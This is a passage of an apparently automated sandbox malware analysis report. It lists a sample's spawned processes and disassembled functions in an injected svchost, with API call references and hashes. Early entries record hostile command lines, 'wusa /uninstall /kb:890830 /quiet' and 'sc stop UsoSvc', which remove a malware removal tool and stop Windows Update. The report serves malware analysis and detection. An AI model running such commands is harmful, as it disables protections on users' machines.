Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff645240000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	10:27:07
Start date:	28/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff73eb10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	10:27:07
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	10:27:07
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFAAC25FA60 Relevance: 1.8, Strings: 1, Instructions: 564
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

GM_^, xrefs: 00007FFAAC25FD01

Memory Dump Source

Source File: 00000000.00000002.1671800821.00007FFAAC250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac250000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: GM_^
API String ID: 0-3996490851
Opcode ID: ac718919961931fa7991d9d705cfb99d683507121144c105ecd59de8f98a7c23
Instruction ID: 894d642dfdd6f1c95f73b0af6920f0f866d6d535ada1e74b265056d18e739b0f
Opcode Fuzzy Hash: ac718919961931fa7991d9d705cfb99d683507121144c105ecd59de8f98a7c23
Instruction Fuzzy Hash: C9F11967A0E69A5EE361B77CB4614E63F90DF4333570882F7D0CDCA2A3DC19984A8391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC2565A8 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1671800821.00007FFAAC250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac250000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88549654695c12ab4797a35198e24d794b049e415f415423ab4ba474ab428af6
Instruction ID: 64907cfa838a3382713e6b29a4c8be9b318046f5512a7b79fee52a3df26ec026
Opcode Fuzzy Hash: 88549654695c12ab4797a35198e24d794b049e415f415423ab4ba474ab428af6
Instruction Fuzzy Hash: 380209A5F1EF5A8FF6A9A72C485127576D2EF86610B4881BED40EC378BDD18EC0D42C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC256D79 Relevance: .4, Instructions: 375COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1671800821.00007FFAAC250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac250000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fecb2b9cb81187a2188bf4a613dc0f1313e9651e7d7a9bb1d5478ae820930c4b
Instruction ID: 8758b05f5de1cb10a4c6b287851f5059b99d318ecd945be54fa1dafbdeff61d4
Opcode Fuzzy Hash: fecb2b9cb81187a2188bf4a613dc0f1313e9651e7d7a9bb1d5478ae820930c4b
Instruction Fuzzy Hash: 8BB1057162A7898FE34DAB78451A5757FE0EF56620B0580FEC04ACB3A3DD1C9C0A8791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC39082B Relevance: 4.8, Strings: 3, Instructions: 1050
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

"9_, xrefs: 00007FFAAC390935
"9_, xrefs: 00007FFAAC390A22
A, xrefs: 00007FFAAC390D46

Memory Dump Source

Source File: 00000000.00000002.1672459303.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac390000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: "9_$"9_$A
API String ID: 0-572419098
Opcode ID: 730837e9f8a5c855c75b0296959345139147ca18e7ef385893d81840fb905a95
Instruction ID: 0ac8d6692cc6e5b5681e36b650a838a162bb116ec42c0007a29c099999efc7da
Opcode Fuzzy Hash: 730837e9f8a5c855c75b0296959345139147ca18e7ef385893d81840fb905a95
Instruction Fuzzy Hash: 0B62287180EB86CFF755DB68C8659A4BBE0FF56300F1441FEC08D9B192DA29A84AC7D1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC3913E9 Relevance: 1.7, Strings: 1, Instructions: 437
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6_, xrefs: 00007FFAAC39173E

Memory Dump Source

Source File: 00000000.00000002.1672459303.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac390000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 6_
API String ID: 0-719347557
Opcode ID: b2068c115381e9a4582c27d773b52f534f50c25cda0f167ceae8154c023301b4
Instruction ID: 16c03ed044cbcbac3743fdb64c48c3f3d98fce905a90cf8d3f86df384b73fdbe
Opcode Fuzzy Hash: b2068c115381e9a4582c27d773b52f534f50c25cda0f167ceae8154c023301b4
Instruction Fuzzy Hash: 6FD1587290EB868FE7519B3488659A4BFE0EF57300F0941FBD18DD71A2D92DA809C3E1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC254E49 Relevance: 1.6, APIs: 1, Instructions: 131memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00007FFAAC254F0D

Memory Dump Source

Source File: 00000000.00000002.1671800821.00007FFAAC250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac250000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a533fa8b8087cb7523ff6cf1289c0b12751a6e3a074f99739c3c5bb1b807a223
Instruction ID: 9bc6062f0492856f3ab65240cd8c90e9ed0ff70e1217567ac93c8b03292d14b7
Opcode Fuzzy Hash: a533fa8b8087cb7523ff6cf1289c0b12751a6e3a074f99739c3c5bb1b807a223
Instruction Fuzzy Hash: 2B31E87190CB4C8FDB18EBAD98466FE7BE1EB95311F04826FE049D3256DE74A80587C2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC3921F0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1672459303.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac390000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1affbf65b68d3b259d7dd66a5d4e23ca0ed937b46073080f29c59ab3c62c922e
Instruction ID: ab1a24a431436a591912ca9c1dc4e43609a93a949ebb2802f9d0af2e60aee3ba
Opcode Fuzzy Hash: 1affbf65b68d3b259d7dd66a5d4e23ca0ed937b46073080f29c59ab3c62c922e
Instruction Fuzzy Hash: 8BF0E171A0895DCFDFA5DA5CD844BDDB7B1FB68350F0081E6908DE3111DA30AAC58F91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC390330 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1672459303.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac390000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2fd9b0cce0a37ffd34e14bef5f7544410b25d84736f6d46e71ee7a6e8383858
Instruction ID: c4b51cde41340bc528d681ad3ffbdecd6ea1a469f1516a89e5fb835592c108dd
Opcode Fuzzy Hash: d2fd9b0cce0a37ffd34e14bef5f7544410b25d84736f6d46e71ee7a6e8383858
Instruction Fuzzy Hash: 37E0C212B09E090FF7D8B6AD3CD4578A2D3DBD91113A851BFD00EC32AADC28CC4A8380

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFAAC257F28 Relevance: 12.1, Strings: 8, Instructions: 2102COMMON

Download Yara Rule

Strings

8ha, xrefs: 00007FFAAC274DA0
}a, xrefs: 00007FFAAC274872
}a, xrefs: 00007FFAAC27485A
Xke, xrefs: 00007FFAAC2745C3
}a, xrefs: 00007FFAAC274884
8ha, xrefs: 00007FFAAC274DCA
Xke, xrefs: 00007FFAAC27460E
8ha, xrefs: 00007FFAAC274DB8

Memory Dump Source

Source File: 00000000.00000002.1671800821.00007FFAAC250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac250000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: }a$ }a$ }a$8ha$8ha$8ha$Xke$Xke
API String ID: 0-1523566439
Opcode ID: c2f99792113476fd30133be28930be7875b6ae3a383e1b3b9c40b6d6ae3dd346
Instruction ID: c677dcd5879275fc2f36cb0d6d57cb25e222261c9fbb82ad7e404f93032ec5db
Opcode Fuzzy Hash: c2f99792113476fd30133be28930be7875b6ae3a383e1b3b9c40b6d6ae3dd346
Instruction Fuzzy Hash: 35D2F9B1A1DA1ACFFB98EB2C849567477D1EF65310B1581B9D00EC73AADD25EC0A87C0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC25D4F5 Relevance: 4.1, Strings: 3, Instructions: 391COMMON

Download Yara Rule

Strings

LM_H, xrefs: 00007FFAAC25D871
MM_H, xrefs: 00007FFAAC25D76F
qM_I, xrefs: 00007FFAAC25D604

Memory Dump Source

Source File: 00000000.00000002.1671800821.00007FFAAC250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac250000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: LM_H$MM_H$qM_I
API String ID: 0-586463873
Opcode ID: b3c31fdc8c6dd07082568fd3f81feaea9c3a653d94f26d8a977d7c88ab4df071
Instruction ID: 2faced62d82d236de5368f7367a5aaf3c07f611b852cdbf2a4baa9a335d9343f
Opcode Fuzzy Hash: b3c31fdc8c6dd07082568fd3f81feaea9c3a653d94f26d8a977d7c88ab4df071
Instruction Fuzzy Hash: 4BB11B57A1DA8A8BF758B37C64151F67791EF91225B4883BBD04ECA2DBED1CD80B42C0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC25E2B0 Relevance: 1.8, Strings: 1, Instructions: 525COMMON

Download Yara Rule

Strings

b4_, xrefs: 00007FFAAC27241F

Memory Dump Source

Source File: 00000000.00000002.1671800821.00007FFAAC250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac250000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: b4_
API String ID: 0-3623245031
Opcode ID: 6e29f0296a36022194cb634020a66b773699e04d6c1c0abd1e7a6a7cfbd20705
Instruction ID: b2406271a7b09f610f0fe45dc210c425a22200c2c569cff4787eb0a583782c00
Opcode Fuzzy Hash: 6e29f0296a36022194cb634020a66b773699e04d6c1c0abd1e7a6a7cfbd20705
Instruction Fuzzy Hash: 8CE16BB1A1DA49CFF358EB1C9495171B3D0FB56310B14827ED08EC3A9ADE25E84B87C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC2565C8 Relevance: .6, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1671800821.00007FFAAC250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac250000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20e4a24a02f58b1dcca8d6932d99ac740378ff4eedd2c1a0f7bf130672e1ee7f
Instruction ID: 98b41d10952997f1f84959664133e25b9713a9c41a4f5443855bd80dc1d8a204
Opcode Fuzzy Hash: 20e4a24a02f58b1dcca8d6932d99ac740378ff4eedd2c1a0f7bf130672e1ee7f
Instruction Fuzzy Hash: 4E227270A19A5ACFEB98EB18C495AA977E1FF59300F1081B9C40DD7396DE34EC46CB81

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 6968, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	74
Total number of Limit Nodes:	2

Executed Functions

Function 00000142DB14328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000142DB1432AE
PathFindFileNameW.SHLWAPI ref: 00000142DB1432BD

Part of subcall function 00000142DB143844: StrCmpNIW.SHLWAPI ref: 00000142DB14385C

Part of subcall function 00000142DB143790: GetModuleHandleW.KERNEL32 ref: 00000142DB14379E
Part of subcall function 00000142DB143790: GetCurrentProcess.KERNEL32 ref: 00000142DB1437CC
Part of subcall function 00000142DB143790: VirtualProtectEx.KERNEL32 ref: 00000142DB1437EE
Part of subcall function 00000142DB143790: GetCurrentProcess.KERNEL32 ref: 00000142DB143809
Part of subcall function 00000142DB143790: VirtualProtectEx.KERNEL32 ref: 00000142DB14382A

CreateThread.KERNEL32 ref: 00000142DB14330B

Part of subcall function 00000142DB141D14: GetCurrentThread.KERNEL32 ref: 00000142DB141D1F

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 6b34417ba078440be6a0c509564850abb85ef84c6dcedc668db6a142cd9e4835
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 5F116D70E1064582FB609BE1F839BD92EA4AB5C745FD04138F946835BDEF78C6D8C250

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB141ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000142DB141628: GetProcessHeap.KERNEL32 ref: 00000142DB141633
Part of subcall function 00000142DB141628: HeapAlloc.KERNEL32 ref: 00000142DB141642
Part of subcall function 00000142DB141628: RegOpenKeyExW.ADVAPI32 ref: 00000142DB1416B2
Part of subcall function 00000142DB141628: RegOpenKeyExW.ADVAPI32 ref: 00000142DB1416DF
Part of subcall function 00000142DB141628: RegCloseKey.ADVAPI32 ref: 00000142DB1416F9
Part of subcall function 00000142DB141628: RegOpenKeyExW.ADVAPI32 ref: 00000142DB141719
Part of subcall function 00000142DB141628: RegCloseKey.ADVAPI32 ref: 00000142DB141734
Part of subcall function 00000142DB141628: RegOpenKeyExW.ADVAPI32 ref: 00000142DB141754
Part of subcall function 00000142DB141628: RegCloseKey.ADVAPI32 ref: 00000142DB14176F
Part of subcall function 00000142DB141628: RegOpenKeyExW.ADVAPI32 ref: 00000142DB14178F
Part of subcall function 00000142DB141628: RegCloseKey.ADVAPI32 ref: 00000142DB1417AA
Part of subcall function 00000142DB141628: RegOpenKeyExW.ADVAPI32 ref: 00000142DB1417CA

Sleep.KERNEL32 ref: 00000142DB141AD7
SleepEx.KERNEL32 ref: 00000142DB141ADD

Part of subcall function 00000142DB141628: RegCloseKey.ADVAPI32 ref: 00000142DB1417E5
Part of subcall function 00000142DB141628: RegOpenKeyExW.ADVAPI32 ref: 00000142DB141805
Part of subcall function 00000142DB141628: RegCloseKey.ADVAPI32 ref: 00000142DB141820
Part of subcall function 00000142DB141628: RegOpenKeyExW.ADVAPI32 ref: 00000142DB141840
Part of subcall function 00000142DB141628: RegCloseKey.ADVAPI32 ref: 00000142DB14185B
Part of subcall function 00000142DB141628: RegOpenKeyExW.ADVAPI32 ref: 00000142DB14187B
Part of subcall function 00000142DB141628: RegCloseKey.ADVAPI32 ref: 00000142DB141896
Part of subcall function 00000142DB141628: RegCloseKey.ADVAPI32 ref: 00000142DB1418A0

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 17607e0714009d503e9f9988396d7c9146de5d240accb8be2458799f43b74b23
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 0031CA71A1064182FB509BA6DA613E92FB5AB8DFC0F945421FE09876BDFE74C8F1C210

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB40273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000142DB40285E

Memory Dump Source

Source File: 00000002.00000002.2466799822.00000142DB400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000142DB400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db400000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: c05ce9976b898d6c4cd1d28f1bc239f30e3d25da785af6d8ff6d57e4889bbea8
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: B3612236F0169487DB54CF95D030BADBBA2FB54BA5FA88121EF59037D8DA38D892C700

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00000142DB142B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000142DB142BD0
lstrlenW.KERNEL32 ref: 00000142DB142E0A

Part of subcall function 00000142DB14199C: OpenProcess.KERNEL32 ref: 00000142DB1419C2
Part of subcall function 00000142DB14199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000142DB1419E0
Part of subcall function 00000142DB14199C: PathFindFileNameW.SHLWAPI ref: 00000142DB1419EF
Part of subcall function 00000142DB14199C: lstrlenW.KERNEL32 ref: 00000142DB1419FB
Part of subcall function 00000142DB14199C: StrCpyW.SHLWAPI ref: 00000142DB141A0E
Part of subcall function 00000142DB14199C: CloseHandle.KERNEL32 ref: 00000142DB141A1C

GetProcAddress.KERNEL32 ref: 00000142DB142BE5

Part of subcall function 00000142DB14152C: StrCmpIW.SHLWAPI ref: 00000142DB14155D

Part of subcall function 00000142DB143844: StrCmpNIW.SHLWAPI ref: 00000142DB14385C

StrCmpNIW.SHLWAPI ref: 00000142DB142C28
lstrlenW.KERNEL32 ref: 00000142DB142D50

Strings

ntdll.dll, xrefs: 00000142DB142BC9
NtQueryObject, xrefs: 00000142DB142BDB
\Device\Nsi, xrefs: 00000142DB142C1B

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: f82c50f69d5d26e36f9e9601ae0c6b92020fc20dc5d7ac3950a25c133c1a9529
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: F5B19472A20A9082EB648FE5D5607E96BA5FB48B94F845026FE09577BCDF34CCC4C780

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB147D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000142DB147DAC
RtlCaptureContext.NTDLL ref: 00000142DB147DD9
RtlLookupFunctionEntry.NTDLL ref: 00000142DB147DF3
RtlVirtualUnwind.NTDLL ref: 00000142DB147E34
IsDebuggerPresent.KERNEL32 ref: 00000142DB147E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000142DB147EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000142DB147EB4

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: ed59bda030810489635d49ead19d387d5b5c0aa21b125c4576020fa37d499fe3
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: EE316576615B8089EB609FA0E8507ED77B4F788744F844529EB4D57BA8EF38C688C710

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB14D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000142DB14D31D
RtlLookupFunctionEntry.NTDLL ref: 00000142DB14D335
RtlVirtualUnwind.NTDLL ref: 00000142DB14D370
IsDebuggerPresent.KERNEL32 ref: 00000142DB14D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000142DB14D3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000142DB14D3BE

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: a05bb65b0b1f5f66d8d499a31ba402dd1f3f198a25f989f3a649c5cff47e54f1
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: B9317E36614B8086EB60CF65E8503DE77A0F789754F900126FA9D43BA8DF38C686CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB147960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000142DB14798C
GetCurrentThreadId.KERNEL32 ref: 00000142DB14799A
GetCurrentProcessId.KERNEL32 ref: 00000142DB1479A6
QueryPerformanceCounter.KERNEL32 ref: 00000142DB1479B6

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 1f920cf291497cfb63f2d941aabaad4205c78c8213427795c433e623f9a01c96
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 6E11EF36B10B4589EF408BB0E8653A837B4F75D759F841E25EA6D477A8DF78C1A48380

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB14DCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction ID: cafc507478e48e00b68f7de8c98f9799b2c2d2aaac3ede3ed9f8cc9397e6f3bb
Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction Fuzzy Hash: 5051A632B0079089FB209BB2A8547DE7FA5F749B98F944125FE5867BADDB38C581C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB14F830 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000142DB14F834

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 3a74cfd470538558c8c26451ce8f33b7d3d65cb1e3ef09f26fba14c55d1f06f1
Instruction ID: 994a94430dfd43386d482c2eab614e8c960d36c4fb81234558afadc46f0dfaaf
Opcode Fuzzy Hash: 3a74cfd470538558c8c26451ce8f33b7d3d65cb1e3ef09f26fba14c55d1f06f1
Instruction Fuzzy Hash: C2B09234E03A45C2EA082BA16C9634826E8BB8C702FE48028D00C42334DA3C85E54780

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB1542F0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction ID: a54d59c59cb1d17664fdfc72e3af89d3cc9bc1631498fea3a029139406fbd1f2
Opcode Fuzzy Hash: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction Fuzzy Hash: A7F01871B156948FDBA48F79A4527597BE0F34C3C4FD48119E58983B18D63CC4918F44

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB141628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000142DB141633
HeapAlloc.KERNEL32 ref: 00000142DB141642

Part of subcall function 00000142DB141268: GetProcessHeap.KERNEL32 ref: 00000142DB14126E
Part of subcall function 00000142DB141268: HeapAlloc.KERNEL32 ref: 00000142DB14127D
Part of subcall function 00000142DB141268: GetProcessHeap.KERNEL32 ref: 00000142DB141297
Part of subcall function 00000142DB141268: HeapAlloc.KERNEL32 ref: 00000142DB1412A8

RegOpenKeyExW.ADVAPI32 ref: 00000142DB1416B2
RegOpenKeyExW.ADVAPI32 ref: 00000142DB1416DF
RegCloseKey.ADVAPI32 ref: 00000142DB1416F9
RegOpenKeyExW.ADVAPI32 ref: 00000142DB141719
